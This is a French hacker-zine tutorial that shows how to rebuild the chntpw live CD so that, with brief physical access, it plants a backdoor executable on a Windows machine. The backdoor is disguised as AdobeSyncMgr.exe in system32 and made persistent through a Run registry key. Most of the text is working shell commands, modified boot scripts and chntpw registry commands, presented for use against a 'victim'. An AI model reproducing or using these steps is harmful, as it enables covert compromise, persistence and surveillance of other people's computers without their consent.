60 secondes chrono pour pwner une machine Windows

Chapitre 1, dans lequel vous avez un aperçu du bouzin

Dans le présent article on va s'attarder sur la façon dont il est possible de placer dans le plus court espace de temps un exécutable sur une machine Windows. Le genre de truc spécialement pratique pour les forces de l'ordre des fois qu'ils voudraient mettre sous cyber-écoute un potentiel terroriste et que le bestiaud s'est absenté histoire de faire pleurer le colosse.
Ca vous permettra aussi de vous imposer en tant que hacker "et mes rites" dans les conversations animées du dimanche, des fois qu'un gravos vous facilite le transit intestinal biscotte il affirme que vous êtes pas capable de pwner son Vin dose Vista.
Oeuf-course vous relevez le défi et vous surenchérissez en disant que sa belle-pomme tiendra même pas 60 secondes dans vos mains expertes !

Ce miracle Mesdames, Mesdemoiselles, Messieurs il est possible car vous aurez gardé précieusement sur vous le dernier joujou signé LOTFREE qu'on va vous en parler dans le présent article.

Je rajouterais au passage que le titre indique 60 secondes chronos mais lors de nos tests on tournait plus autour de 40/50 secondes et sans forcer not' talent. Quelques modifications supplémentaires dans les scripts (comme automatiser la sélection de la partition) et vous pouvez sans problèmes descendre à 30 secondes. De quoi faire manger son bitos à l'autre importun et de repartir avec sa gerse pour un tour de radada.

Chapitre 2, dans lequel vous nous appellerez Gérard Majax

Tout bon tour de magie se fait avec de bons accessoires. Dans notre cas on veut pouvoir pwner n'importe quel système Windows sans avoir à se mesurer à ses protections.
Le plus simple vous en conviendrez c'est de s'attaquer à l'animal quand il est endormi, qu'on lui introduit une saleté dans le système et qu'elle se mette en marche quand il se réveille.
Pour cela on utilisera un live CD capable d'écrire sur du NTFS. On placera alors l'exécutable win32 que l'on souhaite sur la bécane.
Mais pour bien faire les choses il faut aussi créer une clé de registre Run sur la machine de notre victime sans quoi ça n'a aucune utilité.
Enfin, derniere pirogue active, faut que tout se fasse très rapidement. On voudrait pas avoir à justifier notre présence auprès d'un mec qui sort jamais sans son 9.

L'outil qui nous servira de base et qui répond à toutes nos attentes se nomme chntpw. Vous avez dû déjà en entendre parler puisque vous êtes du milieu. Pour les zotres qui ne suivent pas il s'agit d'un soft qui permet de vider le mdp du compte admin local sur la machine. Mais il dispose aussi d'autres fonctionnalités intéressantes. D'abord :

A vrai dire, la fonction d'édition du registre on l'a découvert sur le coup, un peu en trifouillant. On pensait reprendre le code source en C et le modifier à notre sauce mais comme finalement il est possible d'utiliser directement chntpw et de lui balancer des commandes sur stdin (via un pipe), autant faire au plus simple :)

La première étape est de récupérer l'archive zip contenant l'image iso de chntpw. Lors de ces lignes le fichier s'appelle cd110511.zip. Toutes les commandes ont été lancées sur un système Unix mais les plus bidouilleurs parviendront peut-être à faire de même sous Windows.
On supposera que toutes les opérations ont été faites depuis le dossier /tmp et en root (important biscotte la présence de dossiers style dev, proc & co). La seconde étape consiste à monter l'iso et faire une copie de tous les fichiers du disque. On tapera les commandes suivantes :

cd /tmp
mkdir disque
mount -o loop,ro cd110511.iso /mnt/
cp -rv /mnt/* disque/
umount /mnt/

Avouez que ce n'était pas bien difficile... Maintenant on va devoir extraire l'image initrd présente sur le disque. L'extension .cgz je connais pas mais après un gunzip, un coup de file indique que c'est une archive cpio (classique pour les initrd). On utilisera les commandes suivantes pour extraire les fichiers :

mkdir temp_initrd
cp disque/initrd.cgz temp_initrd/
cd temp_initrd/
mv initrd.cgz initrd.cpio.gz
gunzip initrd.cpio.gz
cpio -id < initrd.cpio
rm initrd.cpio

Passons aux choses sérieuses : on va modifier amaguiz les scripts de boot de l'initrd. Ils sont dans le dossier scripts obtenu lors du désarchivage. Ensuite reste plus qu'à placer aussi l'exe kivabien + les commandes destinées à chntpw.
L'ordre d'exécution des scripts tel que défini sur chntpw suit le cheminement suivant (remarquez au passage nos m4d l33t 4sc11 sk!11z)

init
 |
stage2 +-> prepdriver ---+-> fetchdrv -> floppy
       +-> cat banner1   +-> autoscsci
       +-> main -+-> disk -> diskscan
       +-> path
       +-> chntpw -L -i $files
       +-> write

On va modifier quelques fichiers pour arriver à nos fins. Je n'entre pas dans les détails des modifications, si vous décidez de créer votre propre iso vous devriez trouver sans trop de difficultées quoi modifier.
Perso j'ai commencé par banner1 histoire de placer un petit logo LOTFREE en plus du copyright chntpw :)
J'ai ensuite modifié path.sh qui demande normalement quelle ruche (fichier registre) nous intéresse et résoud les paths windows en conséquence. Comme on sait que pour les clés Run la ruche est software, on retire la partie demandant de choisir et on force la variable files à $rcfiles. Le script path.sh place les paths des ruches dans le fichier /tmp/files et le chemin de ces ruches (windows\system32\config) dans le fichier /tmp/regpath qui sont utilisé par les autres scripts.

cd scripts/
vi banner1
vi path.sh

Etape suivante : on modifie main.sh parce que c'est ici qu'à lieu l'appel à chntpw. Dans ce script il y a moyen de gagner du temps, par exemple si vous connaissez à l'avance le path complet de la ruche de votre victime.
Comme on va mettre tous nos codes dans le dossier scripts du disque et qu'il se trouvera à la racine une fois le système monté, on rectifie l'appel à chntpw de la façon suivante :

cd /tmp
files=`cat /tmp/files`
echo "LOTF: Copie de la backdoor..."
cpnt /scripts/lotf-bd.exe /disk/`cat regpath`/../AdobeSyncMgr.exe
echo "LOTF: Edition du registre..."
cat /scripts/cmds.txt | chntpw -e $files

On suppose ici que notre exécutable lotf-bd.exe sera copié sous le nom AdobeSyncMgr.exe dans le dossier system32 de windows et que cmds.txt contient les commandes envoyées à chntpw qui sont les suivantes :

cd Microsoft\Windows\CurrentVersion\Run
nv 1 AdobeSyncMgr
ed AdobeSyncMgr
C:\Windows\System32\AdobeSyncMgr.exe
q
y

chntpw permettant de naviguer dans l'arborescence du registre comme on le ferait dans un dossier, ne soyez pas surpris d'y voir la commande cd ;-) Ici on crée une clé AdobeSyncMgr dans Run qui pointe vers notre exécutable.
Pour reprendre à la modification de nos scripts on est en à :

vi main.sh
vi write.sh
cp ~lotfree/issue9/cmds.txt .
cp ~lotfree/issue9/lotf-systembd.exe lotf-bd.exe

Le dernier script que l'on modifiera est write.sh car pour le moment, tout ce qu'on fait faire au live CD c'est une modification d'une copie d'une ruche placée dans /tmp.
Le script write.sh fait appel à un binaire spécial qui s'appelle cpnt qu'il faut impérativement utiliser car le cp classique ne copiera pas vos fichiers vers du NTFS.
Le contenu de ce script sera :

fstype=`cat /tmp/fs`
usepart=`cat /tmp/disk`
sampath=`cat /tmp/regpath`
files=`cat /tmp/files`

for f in $files; do
  echo "Writing $f to $sampath"
  cpnt /tmp/$f /disk/$sampath/$f
done
sync

umount /disk

exit 0

Last but not least, on doit tout remettre en place : recréer l'initrd, le gzipper comme il était et recréer un iso valide avec mkisofs. Notez que certains outils d'archivages permettent de jouer sur les fichiers isos mais les cd bootables se basent sur un soft baptisé isolinux qui vérifie rapidement le checksum du disque à son lancement. On pourra en notre qualité de hackers cracker la vérification d'isolinux mais c'est une autre histoire...

cd ..
find ./ | cpio -H newc -o > ../new_initrd.cpio
cd ..
rm -r temp_initrd/
gzip new_initrd.cpio
mv new_initrd.cpio.gz disque/initrd.cgz
cd disque
mkisofs -R -o ../lotfdisk.iso -b isolinux.bin -c boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table .
cd ..
rm -r disque/

Chapitre 3, dans lequel vous vous confondez en remerciements

Il ne vous reste plus qu'à graver le fichier lotfdisk.iso que vous aurez généré et à vous les pwnages en moins de 60 secondes chrono B-) Elle est pas belle la vie ?

Note : Les scripts modifiés sont présent dans le dossier offpwn sous data